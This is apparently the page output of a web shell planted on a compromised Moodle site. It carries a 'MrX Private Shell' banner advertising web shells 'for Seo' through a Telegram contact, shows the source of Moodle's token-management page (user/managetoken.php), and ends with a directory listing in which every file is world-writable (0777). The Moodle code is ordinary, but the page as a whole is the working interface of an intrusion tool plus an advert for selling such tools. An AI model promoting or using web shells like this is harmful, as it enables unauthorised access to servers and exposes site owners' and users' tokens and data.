__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Web service test client.
*
* @package core_webservice
* @copyright 2009 Moodle Pty Ltd (http://moodle.com)
* @author Jerome Mouneyrac
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
require('../config.php');
require_login();
$usercontext = context_user::instance($USER->id);
$PAGE->set_context($usercontext);
$PAGE->set_url('/user/managetoken.php');
$PAGE->set_title(get_string('securitykeys', 'webservice'));
$PAGE->set_pagelayout('admin');
$rsstokenboxhtml = $webservicetokenboxhtml = '';
// Manage user web service tokens.
if ( !is_siteadmin($USER->id)
&& !empty($CFG->enablewebservices)
&& has_capability('moodle/webservice:createtoken', $usercontext )) {
require_once($CFG->dirroot.'/webservice/lib.php');
$action = optional_param('action', '', PARAM_ALPHANUMEXT);
$tokenid = optional_param('tokenid', '', PARAM_SAFEDIR);
$confirm = optional_param('confirm', 0, PARAM_BOOL);
$webservice = new webservice(); // Load the webservice library.
$wsrenderer = $PAGE->get_renderer('core', 'webservice');
if ($action == 'resetwstoken') {
$token = $webservice->get_created_by_user_ws_token($USER->id, $tokenid);
// Display confirmation page to Reset the token.
if (!$confirm) {
$resetconfirmation = $wsrenderer->user_reset_token_confirmation($token);
} else {
// Delete the token that need to be regenerated.
require_sesskey();
$webservice->delete_user_ws_token($tokenid);
// Now re-create one against the same service.
\core_external\util::generate_token(
EXTERNAL_TOKEN_PERMANENT,
\core_external\util::get_service_by_id($token->externalserviceid),
$USER->id,
context_system::instance()
);
redirect($PAGE->url, get_string('resettokencomplete', 'core_webservice'));
}
}
// No point creating the table is we're just displaying a confirmation screen.
if (empty($resetconfirmation)) {
$webservice->generate_user_ws_tokens($USER->id); // Generate all token that need to be generated.
$tokens = $webservice->get_user_ws_tokens($USER->id);
foreach ($tokens as $token) {
if ($token->restrictedusers) {
$authlist = $webservice->get_ws_authorised_user($token->wsid, $USER->id);
if (empty($authlist)) {
$token->enabled = false;
}
}
}
$webservicetokenboxhtml = $wsrenderer->user_webservice_tokens_box($tokens, $USER->id,
$CFG->enablewsdocumentation); // Display the box for web service token.
}
}
// RSS keys.
if (!empty($CFG->enablerssfeeds)) {
require_once($CFG->dirroot.'/lib/rsslib.php');
$action = optional_param('action', '', PARAM_ALPHANUMEXT);
$confirm = optional_param('confirm', 0, PARAM_BOOL);
$rssrenderer = $PAGE->get_renderer('core', 'rss');
if ($action == 'resetrsstoken') {
// Display confirmation page to Reset the token.
if (!$confirm) {
$resetconfirmation = $rssrenderer->user_reset_rss_token_confirmation();
} else {
require_sesskey();
rss_delete_token($USER->id);
redirect($PAGE->url, get_string('resettokencomplete', 'core_webservice'));
}
}
if (empty($resetconfirmation)) {
$token = rss_get_token($USER->id);
$rsstokenboxhtml = $rssrenderer->user_rss_token_box($token); // Display the box for the user's RSS token.
}
}
// PAGE OUTPUT.
echo $OUTPUT->header();
if (!empty($resetconfirmation)) {
echo $resetconfirmation;
} else {
if (!empty($SESSION->webservicenewlycreatedtoken)) {
$webservicemanager = new webservice();
$newtoken = $webservicemanager->get_created_by_user_ws_token(
$USER->id,
$SESSION->webservicenewlycreatedtoken
);
if ($newtoken) {
// Unset the session variable.
unset($SESSION->webservicenewlycreatedtoken);
// Display the newly created token.
echo $OUTPUT->render_from_template(
'core_admin/webservice_token_new', ['token' => $newtoken->token, 'tokenname' => $newtoken->tokenname]
);
}
}
echo $webservicetokenboxhtml;
echo $rsstokenboxhtml;
}
echo $OUTPUT->footer();
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| amd | Folder | 0777 |
|
|
| classes | Folder | 0777 |
|
|
| filters | Folder | 0777 |
|
|
| profile | Folder | 0777 |
|
|
| selector | Folder | 0777 |
|
|
| templates | Folder | 0777 |
|
|
| tests | Folder | 0777 |
|
|
| UPGRADING.md | File | 1.31 KB | 0777 |
|
| action_redir.php | File | 11.87 KB | 0777 |
|
| calendar.php | File | 3.81 KB | 0777 |
|
| contactsitesupport.php | File | 3.17 KB | 0777 |
|
| contentbank.php | File | 2.24 KB | 0777 |
|
| defaulthomepage.php | File | 2.4 KB | 0777 |
|
| edit.php | File | 11.59 KB | 0777 |
|
| edit_form.php | File | 9.53 KB | 0777 |
|
| editadvanced.php | File | 13.74 KB | 0777 |
|
| editadvanced_form.php | File | 13.33 KB | 0777 |
|
| editlib.php | File | 19.44 KB | 0777 |
|
| editor.php | File | 2.52 KB | 0777 |
|
| editor_form.php | File | 2.51 KB | 0777 |
|
| emailupdate.php | File | 3.76 KB | 0777 |
|
| externallib.php | File | 87.06 KB | 0777 |
|
| files.php | File | 1.81 KB | 0777 |
|
| forum.php | File | 3.35 KB | 0777 |
|
| forum_form.php | File | 3.91 KB | 0777 |
|
| grouppix.php | File | 1.78 KB | 0777 |
|
| index.php | File | 11.23 KB | 0777 |
|
| language.php | File | 2.73 KB | 0777 |
|
| language_form.php | File | 2.9 KB | 0777 |
|
| lib.php | File | 54.1 KB | 0777 |
|
| managetoken.php | File | 5.02 KB | 0777 |
|
| pix.php | File | 1.51 KB | 0777 |
|
| policy.php | File | 3.26 KB | 0777 |
|
| portfolio.php | File | 4.76 KB | 0777 |
|
| portfoliologs.php | File | 5.7 KB | 0777 |
|
| preferences.php | File | 3.06 KB | 0777 |
|
| profile.php | File | 8.71 KB | 0777 |
|
| profilesys.php | File | 2.35 KB | 0777 |
|
| renderer.php | File | 11.21 KB | 0777 |
|
| upgrade.txt | File | 7.8 KB | 0777 |
|
| view.php | File | 8.75 KB | 0777 |
|